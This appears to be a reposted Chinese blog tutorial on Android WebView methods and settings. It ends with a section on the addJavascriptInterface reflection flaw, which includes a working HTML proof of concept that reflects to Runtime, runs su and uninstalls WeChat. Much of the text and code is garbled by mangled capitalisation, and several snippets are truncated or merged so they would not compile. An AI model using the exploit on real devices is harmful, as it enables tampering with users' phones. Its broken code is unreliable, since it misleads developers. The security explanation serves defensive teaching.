Android应用开发中WebView的常用方法笔记整理

Android应用开发中WebView的常用方法笔记整理,第1张

概述基本使用使用WebView通常是需要网络的,所以需要加上访问网络的权限<uses-permissionandroid:name=\"android.permission.INTERNET\"/>

基本使用
使用WebVIEw通常是需要网络的,所以需要加上访问网络的权限

<uses-permission androID:name="androID.permission.INTERNET" />

1.加载某个url的方法

WebVIEw.loadUrl("http://www.baIDu.com");

需要注意的是不要省略前面的http://,省略的话,某些ROM中的WebVIEw会加载失败
2.加载assets中的HTML

WebVIEw.loadUrl("file:///androID_asset/xxx.HTML")

3.加载一段JavaScript

WebVIEw.loadUrl("JavaScript:" + ${Js_code})

4.为Js提供本地方法
如下,提供一个showToast的方法给JavaScript

private static class JavaJs {  private Context context;  JavaJs(Context context) {    this.context = context;  }  @JavaScriptInterface  public voID showToast(String str) {    Toast.makeText(context,str,Toast.LENGTH_LONG).show();  }}webVIEw.addJavaScriptInterface(new JavaJs(this),"JavaJs");<script type="text/JavaScript">  JavaJs.showToast("toast from Js");</script>

注意:

提供给JavaScript的方法必需是public的,否则Js无法访问 提供给JavaScript的方法将会在WebVIEw管理的线程中执行,因此要保证该方法的线程安全性.(Toast是支持在非UI线程中show()的,所以上面的showToast方法是没问题的) 提供给JavaScript的方法一定要加上 @JavaScriptInterface 在AndroID 4.2,API 17之前,JavaScript可以通过反射java对象,来执行一些危险 *** 作.比如反射取到Runtime,然后执行shell命令 虽然@JavaScriptInterface是在API 17加上的,但是API 17之前,我们依然建议将提供给JavaScript的方法加上该annotation.(JsR-175规定,运行时annotation缺失,则直接忽略,而不会抛出ClassNotFoundException) 针对AndroID 4.2以前的设备,我们建议不要通过addJavaScriptInterface向JavaScript提供方法,并且通过removeJavaScriptInterface("searchBoxJavaBrIDge_")来移除WebVIEw自己添加的java对象.

5.页面跳转

webVIEw.setWebVIEwClIEnt(new WebVIEwClIEnt() {  @OverrIDe  public boolean shouldOverrIDeUrlLoading(WebVIEw vIEw,String url) {    if (Uri.parse(url).getHost().equals("www.xxx.com")) {      // 自己的页面,直接使用WebVIEw加载      return false;    }    // 别的公司的页面,使用浏览器打开    Intent intent = new Intent(Intent.ACTION_VIEW,Uri.parse(url));    startActivity(intent);    return true;  }});

6.访问历史回退

@OverrIDepublic boolean onKeyDown(int keyCode,KeyEvent event) {  if ((keyCode == KeyEvent.KEYCODE_BACK) && webVIEw.canGoBack()) {    webVIEw.goBack();    return true;  }  return super.onKeyDown(keyCode,event);}

7.在Logcat中输出JavaScript的日志信息
重写WebChromeClIEnt中的onConsoleMessage方法

@OverrIDepublic boolean onConsoleMessage(ConsoleMessage consoleMessage) {  Log.d("WebVIEw",consoleMessage.message() + " Js line: " + consoleMessage.lineNumber());  return true;}

8.支持JavaScript的警告框 alert
重写WebChromeClIEnt中的onjsAlert方法

@OverrIDepublic boolean onjsAlert(WebVIEw vIEw,String url,String message,final JsResult result) {  new AlertDialog.Builder(MainActivity.this)      .setTitle("JsAlert")      .setMessage(message)      .setPositivebutton("OK",new DialogInterface.OnClickListener() {        @OverrIDe        public voID onClick(DialogInterface dialog,int which) {          result.confirm();        }      })      .setCancelable(false)      .show();  return true;}

9.支持JavaScript的确认框 confirm
重写WebChromeClIEnt中的onjsConfirm方法

@OverrIDepublic boolean onjsConfirm(WebVIEw vIEw,final JsResult result) {  new AlertDialog.Builder(MainActivity.this)      .setTitle("JsConfirm")      .setMessage(message)      .setPositivebutton("OK",int which) {          result.confirm();        }      })      .setNegativebutton("Cancel",int which) {          result.cancel();        }      })      .setCancelable(false)      .show();  return true;}

10.支持JavaScript提问框 prompt
重写WebChromeClIEnt中的onjsPrompt方法

@OverrIDepublic boolean onjsPrompt(WebVIEw vIEw,String defaultValue,final JsPromptResult result) {  final EditText et = new EditText(MainActivity.this);  et.setText(defaultValue);  new AlertDialog.Builder(MainActivity.this)      .setTitle(message)      .setVIEw(et)      .setPositivebutton("OK",int which) {          result.confirm(et.getText().toString());        }      })      .setNegativebutton("Cancel",int which) {          result.cancel();        }      })      .setCancelable(false)      .show();  return true;}

11.显示空白页

WebVIEw.loadUrl("about:blank");//该方法使得WebVIEw只会绘制一个白色背景,并且释放之前加载页面时使用的资源,并停止之前JavaScript的执行

12.清除返回栈 WebVIEw.clearHistory
13.获得访问历史列表 WebVIEw.copyBackForwardList
14.下载 WebVIEw.setDownloadListener
15.pauseTimers,onPause,resumeTimers,onResume

pauseTimers,onPause 停止解析,JavaScript执行等 *** 作.区别是 onPause 只作用于调用它的WebVIEw,而 pauseTimers 作用于当前应用中所有的WebVIEw
resumeTimers,onResume 恢复解析,JavaScript执行等 *** 作.区别是 onResume 只作用于调用它的WebVIEw,而 resumeTimers 作用于当前应用中所有的WebVIEw

常用设置
1.安全相关(去掉不必要的JavaBrIDge)

//这个Java BrIDge是WebVIEw自己添加的//在API 17以前,JavaScript可以通过java对象进行反射,执行一些不安全的 *** 作webVIEw.removeJavaScriptInterface("searchBoxJavaBrIDge_");

2.Js相关

//设置支持JavaScript,默认是falseWebSettings.setJavaScriptEnabled(true);

3.缩放相关

//使WebVIEw支持通过手势或者缩放控制器来缩放页面,默认是true//该设置不影响 WebVIEw.zoomIn()和WebVIEw.zoomOut()WebSettings.setSupportZoom(true);//设置使用默认的缩放控制器,默认是falseWebSettings.setBuiltInZoomControls(true);//不显示默认的+/-缩放控制VIEw,默认是trueWebSettings.setdisplayZoomControls(false);加载图片策略相关//设置是否自动加载图片,默认是`true`,如果设置为`false`,那么所有图片都不会被加载,包括本地图片.WebSettings.setLoadsImagesautomatically(true);//设置是否阻止加载网络图片,默认是`false`,如果设置为`true`,那么网络图片将不会加载.(可以先设置为true,然后再设置为false,来加快页面加载速度)WebSettings.setBlockNetworkImage(false);//设置是否阻止加载网络资源(不仅仅是图片),那么网络上的Js,CSS,图片等资源都不会加载WebSettings.setBlockNetworkLoads(false);

4.渲染相关

//设置渲染线程的优先级//该方法在 API 18之后被废弃,优先级由WebVIEw自己管理//不过任然建议将其设置为 HIGH,来提高页面渲染速度WebSettings.setRenderPriority(RenderPriority.HIGH);VIEwport相关//设置使用 宽 的VIEwpoint,默认是false//AndroID browser以及Chrome for AndroID的设置是`true`//而WebVIEw的默认设置是`false`//如果设置为`true`,那么网页的可用宽度为`980px`,并且可以通过 Meta data来设置//如果设置为`false`,那么可用区域和WebVIEw的显示区域有关.WebSettings.setUseWIDeVIEwPort(true);//如果webvIEw内容宽度大于显示区域的宽度,那么将内容缩小,以适应显示区域的宽度,默认是falseWebVIEw.setLoaDWithOverviewmode(true);<!--如果WebSettings.getUseWIDeVIEwPort 是true,那么可以通过Meta来设置 VIEwport --><!--例如将其可用宽度设置为 480px,并且禁用缩放功能--><head>  <Meta name="vIEwport" content="wIDth=480,user-scalable=no" /></head><!--如果WebSettings.getUseWIDeVIEwPort 是false,那么 不能 通过Meta来设置-->

其效果类似于:

<Meta name="vIEwport" content="wIDth=device-wIDth"/>

注意: 这里的px和通常说的像素不同,他和dp的概念非常类似. 参见 Mozilla

前端存储相关设置(方便前端工程师在客户端存储数据)

//支持H5的 application cache 的功能WebSettings.setAppCacheEnabled(true);//设置 application cache 的存储路径(通常存储Js,图片等)WebSetting.setAppCachePath("xxx");//支持 H5 的session storage和local storageWebSettings.setDomStorageEnabled(true);//支持JavaScript读,写dbWebSettings.setDatabaseEnabled(true);//设置Js创建的db文件的路径,API 19以后废弃,直接有webvIEw管理WebSettings.setDatabasePath("xxx");

5.缓存相关设置

//设置加载资源时,如何使用cache//默认设置是:WebSettings.LOAD_DEFAulT//当WebVIEw正常加载一个页面时,如果缓存命中且没有过期,则使用缓存数据,否则从网络加载,当WebVIEw.goBack()时,如果缓存命中,直接使用,不会验证是否过期//可用的其他设置:LOAD_CACHE_ELSE_NETWORK,LOAD_NO_CACHE,LOAD_CACHE_ONLYWebSettings.setCacheModel(WebSettings.LOAD_DEFAulT);

6.cookie相关

public static voID syncookies(Context context,String url) {  cookieManager cookieManager = cookieManager.getInstance();  cookieManager.setAcceptcookie(true);//默认就是true   cookieManager.setcookie(url,cookies);  if(Build.VERSION.SDK_INT < 21) {    cookieSyncManager.createInstance(context).sync();  } else {    cookieManager.flush();  }}


addJavaScriptInterface的安全问题
1.为JavaScript提供native接口的途径

AndroID WebVIEw 提供一个addJavaScriptInterface方法来为JavaScript创建一个JavaBrIDge.
例如给Js提供一个showToast的方法:

private static class JavaJs {  private Context context;  JavaJs(Context context) {    this.context = context;  }  @JavaScriptInterface  public voID showToast(String str) {    Toast.makeText(context,"JavaJs");<script type="text/JavaScript">  JavaJs.showToast("toast from Js");</script>

2.安全问题

API 17之前,在WebVIEw为JavaScript提供了java对象之后,可以利用JavaScript代码调用java的反射API,进行一些Hack *** 作,导致安全性问题.(<Font color=red>注意: </Font>低版本的WebVIEw会自己添加一个searchBoxJavaBrIDge_对象,通常我们需要自己移除)
API 17之后,WebVIEw会禁止JavaScript调用没有添加@JavaScriptInterface方法,从而避免上述问题.(<Font color=red>注意: </Font>推荐大家始终添加@JavaScriptInterface,而不用关心API版本,因为annotation缺失并不会导致ClassNotFoundException,而仅仅是被jvm忽略)
安全问题示例 (通过JavaScript卸载微信)

通过反射可以干很多事情,比如类似于 UserInfo 这样的对象,如果他是单例的话,那么很容易可以取到用户的 用户名,邮箱,手机号 等信息.
此处展示一个简单的页面,当通过WebVIEw打开这个HTML,手机上的微信就会被卸载(当然前提是该app拥有root权限).

<HTML>  <head>    <script>      function toByteArray(str) {        var ch,stack,result = [];        for(var i = 0; i < str.length; ++i) {          ch = str.charCodeAt(i);          stack = [];          do {            stack.push(ch & 0xFF);            ch = ch >> 8;          } while(ch);          result = result.concat(stack.reverse());        }        return result;      }      function execCmd(outputStream) {        var cmd = "adb shell pm uninstall com.tencent.mm";        outputStream.write(toByteArray(cmd));        outputStream.close();      }      function toString(inputStream) {        var result = "";        var c;        while((c = inputStream.read()) != -1) {          var s = String.fromCharCode(c);          result += s;        }        return result;      }      function Hack() {        for(var obj in window) {          if("getClass" in window[obj]) {            console.log(obj);            var runtime = window[obj].getClass().forname("java.lang.Runtime").getmethod("getRuntime",null).invoke(null,null);            var p = runtime.exec(["su"]);            execCmd(p.getoutputStream());            alert(toString(p.getinputStream()));            break;          }        }      }      Hack();    </script>  </head><body>  卸载微信 :)</body></HTML>

总结

以上是内存溢出为你收集整理的Android应用开发中WebView的常用方法笔记整理全部内容,希望文章能够帮你解决Android应用开发中WebView的常用方法笔记整理所遇到的程序开发问题。

如果觉得内存溢出网站内容还不错,欢迎将内存溢出网站推荐给程序员好友。

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/web/1149245.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-31
下一篇 2022-05-31

发表评论

登录后才能评论

评论列表(0条)

保存